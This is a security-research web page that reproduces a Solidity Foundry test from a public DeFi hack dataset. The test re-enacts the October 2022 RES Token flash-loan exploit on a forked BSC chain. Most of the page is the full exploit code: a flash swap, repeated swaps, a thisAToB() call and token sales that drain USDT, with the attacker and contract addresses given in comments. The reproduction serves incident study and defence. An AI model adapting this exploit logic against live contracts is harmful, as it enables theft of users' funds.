Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/RES_exp.sol

Public reproduction file for dataset entry RES-Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/RES_exp.sol180 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 290,671 USDT
8// Attacker : 0x986b2e2a1cf303536138d8ac762447500fd781c6
9// Attack Contract : https://bscscan.com/address/0xFf333DE02129AF88aAe101ab777d3f5D709FeC6f
10// Vulnerable Contract : https://bscscan.com/address/0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21
11// Attack Txs :
12// - https://bscscan.com/tx/0xe59fa48212c4ee716c03e648e04f0ca390f4a4fc921a890fded0e01afa4ba96d
13// - https://bscscan.com/tx/0xef19a4dfd69874d5efda3e38b5a19cae4e0b0bdc95769760bd85ede4d15609ac
15// @Info
16// Vulnerable Contract Code : https://www.bscscan.com/address/0xecCD8B08Ac3B587B7175D40Fb9C60a20990F8D21#code#L683
18// @Analysis
19// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1578120337509662721
20// Twitter Ancilia : https://x.com/AnciliaInc/status/1578119778446680064
21// Article QuillAudits : https://quillaudits.medium.com/res-token-290k-flash-loan-exploit-quillaudits-9300657fff7b
23interface IRES is IERC20 {
24 function thisAToB() external;
27contract ContractTest is Test {
28 IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);
29 IERC20 constant ALL_TOKEN = IERC20(0x04C0f31C0f59496cf195d2d7F1dA908152722DE7);
30 IPancakeRouter constant PS_ROUTER = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
31 IPancakePair constant USDT_WBNB_PAIR = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
32 IPancakePair constant USDT_RES_PAIR = IPancakePair(0x05ba2c512788bd95cd6D61D3109c53a14b01c82A);
33 IPancakePair constant USDT_ALL_PAIR = IPancakePair(0x1B214e38C5e861c56e12a69b6BAA0B45eFe5C8Eb);
34 IRES constant RES_TOKEN = IRES(0xecCD8B08Ac3B587B7175D40Fb9C60a20990F8D21);
36 function setUp() public {
37 vm.createSelectFork("bsc", 21_948_016);
38 // Adding labels to improve stack traces' readability
39 vm.label(address(USDT_TOKEN), "USDT_TOKEN");
40 vm.label(address(PS_ROUTER), "PS_ROUTER");
41 vm.label(address(USDT_WBNB_PAIR), "USDT_WBNB_PAIR");
42 vm.label(address(USDT_RES_PAIR), "USDT_RES_PAIR");
43 vm.label(address(USDT_ALL_PAIR), "USDT_ALL_PAIR");
44 vm.label(address(RES_TOKEN), "RES_TOKEN");
45 }
47 function stringsEquals(bytes calldata s1, string memory s2) private pure returns (bool) {
48 bytes memory b1 = bytes(s1);
49 bytes memory b2 = bytes(s2);
51 uint256 l1 = b1.length;
52 if (l1 != b2.length) return false;
53 for (uint256 i = 0; i < l1; i++) {
54 if (b1[i] != b2[i]) return false;
55 }
56 return true;
57 }
59 function testExploit() public {
60 emit log_named_decimal_uint(
61 "[Start] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 18
62 );
64 USDT_WBNB_PAIR.swap(10_014_120_886_666_860_414_836_616, 0, address(this), "borrowusdt");
66 emit log_named_decimal_uint(
67 "[End] Attacker USDT balance after exploit", USDT_TOKEN.balanceOf(address(this)), 18
68 );
69 }
71 function pancakeCall(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external {
72 if (stringsEquals(data, "borrowusdt")) {
73 emit log_named_decimal_uint(
74 "[Flashloan] now Attacker USDT balance is", USDT_TOKEN.balanceOf(address(this)), 18
75 );
77 USDT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
79 address[] memory path = new address[](2);
80 path[0] = address(USDT_TOKEN);
81 path[1] = address(RES_TOKEN);
83 emit log_named_decimal_uint(
84 "[FlashLoan] Res Token Balance of address(user)",
85 RES_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)),
86 8
87 );
89 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 476_862_899_365_088_591_182_696);
91 // use flashswap will get more than buy
92 USDT_RES_PAIR.swap(0, 71_519_292_481_906, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");
94 console.log("[FlashLoan] swap 1 over");
96 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 953_725_798_730_177_182_365_392);
98 USDT_RES_PAIR.swap(0, 22_030_478_307_020, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");
100 console.log("[FlashLoan] swap 2 over");
102 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 1_430_588_698_095_265_773_548_088);
104 USDT_RES_PAIR.swap(0, 7_810_673_572_823, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");
106 console.log("[FlashLoan] swap 3 over");
108 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 1_907_451_597_460_354_364_730_784);
110 USDT_RES_PAIR.swap(0, 3_504_534_400_905, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");
112 console.log("[FlashLoan] swap 4 over");
114 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 2_384_314_496_825_442_955_913_480);
116 USDT_RES_PAIR.swap(0, 1_845_944_923_363, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");
118 console.log("[FlashLoan] swap 5 over");
120 USDT_TOKEN.transfer(address(USDT_RES_PAIR), 2_861_177_396_190_531_547_096_176);
122 USDT_RES_PAIR.swap(0, 1_084_945_873_965, address(0x3F693Effc53908d517F186A20431f756C90c2229), "");
124 console.log("[FlashLoan] swap 6 over");
126 // cost contract usd
127 RES_TOKEN.thisAToB();
129 // token can't support transfer to contract
130 vm.prank(0x3F693Effc53908d517F186A20431f756C90c2229);
131 RES_TOKEN.approve(address(this), type(uint256).max);
133 vm.prank(0x3F693Effc53908d517F186A20431f756C90c2229);
134 ALL_TOKEN.approve(address(this), type(uint256).max);
136 uint256 res_balance = RES_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229));
138 emit log_named_decimal_uint("[FlashLoan] Res Token Balance of address(user)", res_balance, 8);
140 emit log_named_decimal_uint(
141 "[FlashLoan] All Token Balance of address(user)",
142 ALL_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)),
143 18
144 );
146 uint256 alltoken_balance = ALL_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229));
148 ALL_TOKEN.transferFrom(0x3F693Effc53908d517F186A20431f756C90c2229, address(USDT_ALL_PAIR), alltoken_balance);
150 console.log("transfer all token over");
152 (uint256 reserve0, uint256 reserve1,) = USDT_ALL_PAIR.getReserves();
154 uint256 get_value = (alltoken_balance * reserve1) / (alltoken_balance + reserve0);
156 uint256 getusdamount = get_value - ((get_value * 10 / 10_000));
158 USDT_ALL_PAIR.swap(0, getusdamount, address(this), "");
160 emit log_named_decimal_uint(
161 "[FlashLoan] sell Alltoken over, Attacker usdt balance is", USDT_TOKEN.balanceOf(address(this)), 18
162 );
164 RES_TOKEN.transferFrom(0x3F693Effc53908d517F186A20431f756C90c2229, address(USDT_RES_PAIR), res_balance);
166 USDT_RES_PAIR.swap(1_905_851_854_454_828_201_052_166, 0, address(this), "");
168 emit log_named_decimal_uint(
169 "[FlashLoan] sell Restoken over, Attacker usdt balance is", USDT_TOKEN.balanceOf(address(this)), 18
170 );
172 uint256 refund = amount0 + ((amount0 * 251 / 100_000));
173 USDT_TOKEN.transfer(address(USDT_WBNB_PAIR), refund);
174 } else {
175 console.log("error");
176 }
177 }
179 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “RES-Token” (2022-10-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x986b2e2a1cf303536138d8ac762447500fd781c6

  • Attack Contract

    0xff333de02129af88aae101ab777d3f5d709fec6f

  • Vulnerable Contract

    0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21

File record

Name
RES-Token
Path
src/test/2022-10/RES_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
793f87c2f96d0431f53c38da811ac567cf6a7c9d
Language
Solidity
Size
181 lines
Date
2022-10-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/RES_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 793f87c2f96d0431f53c38da811ac567cf6a7c9d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.